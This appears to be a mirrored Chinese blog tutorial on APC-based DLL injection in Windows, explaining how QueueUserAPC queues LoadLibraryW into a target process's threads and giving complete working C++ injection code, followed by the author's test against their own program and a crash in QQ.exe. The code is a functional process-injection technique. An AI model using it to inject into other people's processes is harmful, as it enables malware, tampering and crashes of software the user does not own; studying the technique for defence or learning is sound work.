zoukankan      html  css  js  c++  java
  • DLL注入-APC注入

    APC注入

    APC注入的原理是利用当线程被唤醒时APC中的注册函数会被执行的机制,并以此去执行我们的DLL加载代码,进而完成DLL注入的目的,其具体流程如下:
        1)当EXE里某个线程执行到SleepEx()或者WaitForSingleObjectEx()时,系统就会产生一个软中断(或者是Messagebox弹窗的时候不点OK的时候也能注入
        2)当线程再次被唤醒时,此线程会首先执行APC队列中的被注册的函数。
        3)利用QueueUserAPC()这个API可以在软中断时向线程的APC队列插入一个函数指针,如果我们插入的是Loadlibrary()执行函数的话,就能达到注入DLL的目的。


    核心函数:


    局限:

      这种注入方式局限性很明显,一是必须要等待时机,而是当注入成功后,SleepEx或者其他等待函数直接就会跳过当前等待继续往下走,这样可能造成被注入程序的不稳定行,经常导致被注入程序崩溃。


    代码:

    // LoadExeWin32.cpp : 定义控制台应用程序的入口点。
    //
    #include "stdafx.h"
    #include <string>
    #include <windows.h>
    #include <shlwapi.h>
    #include <tlhelp32.h>
    #include <winternl.h>
    #pragma comment(lib, "shlwapi.lib")
    #pragma comment(lib,"ntdll.lib")
     
    using namespace std;
     
    //根据进程名字获取pid
    DWORD GetPidFromName(wstring wsProcessName) {
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnapshot == INVALID_HANDLE_VALUE){
    return FALSE;
    }
    PROCESSENTRY32W pe = {sizeof(pe)};
    BOOL bOk;
    for (bOk = Process32FirstW(hSnapshot, &pe); bOk; bOk = Process32NextW(hSnapshot, &pe)){
    wstring  wsNowProcName = pe.szExeFile;
    if(StrStrI(wsNowProcName.c_str() ,wsProcessName.c_str())!= NULL){
    CloseHandle(hSnapshot);
    return pe.th32ProcessID;
    }
    }
    CloseHandle(hSnapshot);
    return 0;
    }
    //把wcCacheInDllPath DLL文件注入进程wsProcessName
    BOOL Injection_APC(const wstring &wsProcessName ,const WCHAR wcCacheInDllPath[]){
    //初始化
    DWORD dwProcessId  = GetPidFromName(wsProcessName);
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,dwProcessId);  
    if (!hProcess){
    return FALSE;
    }
    PVOID  lpData = VirtualAllocEx(hProcess,  
    NULL,  
    1024,  
    MEM_COMMIT,  
    PAGE_EXECUTE_READWRITE);  
    DWORD dwRet;
    if (lpData)  {  
    //在远程进程申请空间中写入待注入DLL的路径  
     WriteProcessMemory(hProcess,  
    lpData,  
    (LPVOID)wcCacheInDllPath,  
    MAX_PATH,&dwRet);  
    }  
    CloseHandle(hProcess);
    //开始注入
    THREADENTRY32 te = {sizeof(THREADENTRY32)};  
    //得到线程快照  
    HANDLE handleSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD ,0);  
    if (INVALID_HANDLE_VALUE == handleSnap)  {  
    return FALSE;  
    }  
    BOOL bStat = FALSE;  
    //得到第一个线程  
    if (Thread32First(handleSnap,&te)){  
    do {  //进行进程ID对比  
    if (te.th32OwnerProcessID == dwProcessId)  {  
    //得到线程句柄  
    HANDLE handleThread = OpenThread(THREAD_ALL_ACCESS ,FALSE ,te.th32ThreadID);  
    if (handleThread)  {  //向线程插入APC  
    DWORD dwRet = QueueUserAPC(  
    (PAPCFUNC)LoadLibraryW,  
    handleThread,  
    (ULONG_PTR)lpData);  
    if (dwRet > 0)  {  
    bStat = TRUE;  
    }  
    //关闭句柄  
    CloseHandle(handleThread);  
    }  
    }  
    //循环下一个线程  
    } while (Thread32Next(handleSnap,&te));  
    }  
    CloseHandle(handleSnap);
    return bStat;
    }
    //Adds a user-mode asynchronous procedure call (APC)
    int main(int argc, char* argv[]){
    //Sleep(1000*100);
    Injection_APC(L"Sleep3M.exe" ,L"M.dll");
       return 0;
    }

    然后写一个测试DLL:


    然后再写一个被注入程序:

     

    测试结果:

    注入自己的程序成功:


    随便尝试了下注入QQ.exe,直接崩溃退出了。

  • 相关阅读:
    判别模型、生成模型与朴素贝叶斯方法
    git的安装已经连github
    uva 10061 How many zero's and how many digits ?
    Java菜鸟学习笔记()--面向对象篇(七):Wrapper Class包装类
    丁香园技术负责人冯大辉近日在知乎上披露了当年共同创办阿里巴巴的18个合伙人的近况:
    不用派生CTreeCtrl不用繁琐的过程 教你如何让CTreeCtrl的每一项有ToolTip提示
    数据结构排序系列详解之三 冒泡排序
    HDU 4612 (13年多校第二场1002)无向图缩点,有重边
    Mac下cocos2dx3.1用Cocos IDE写的Lua binding篇01
    SECURITY_ATTRIBUTES 设置低权限
  • 原文地址:https://www.cnblogs.com/csnd/p/12062139.html
Copyright © 2011-2022 走看看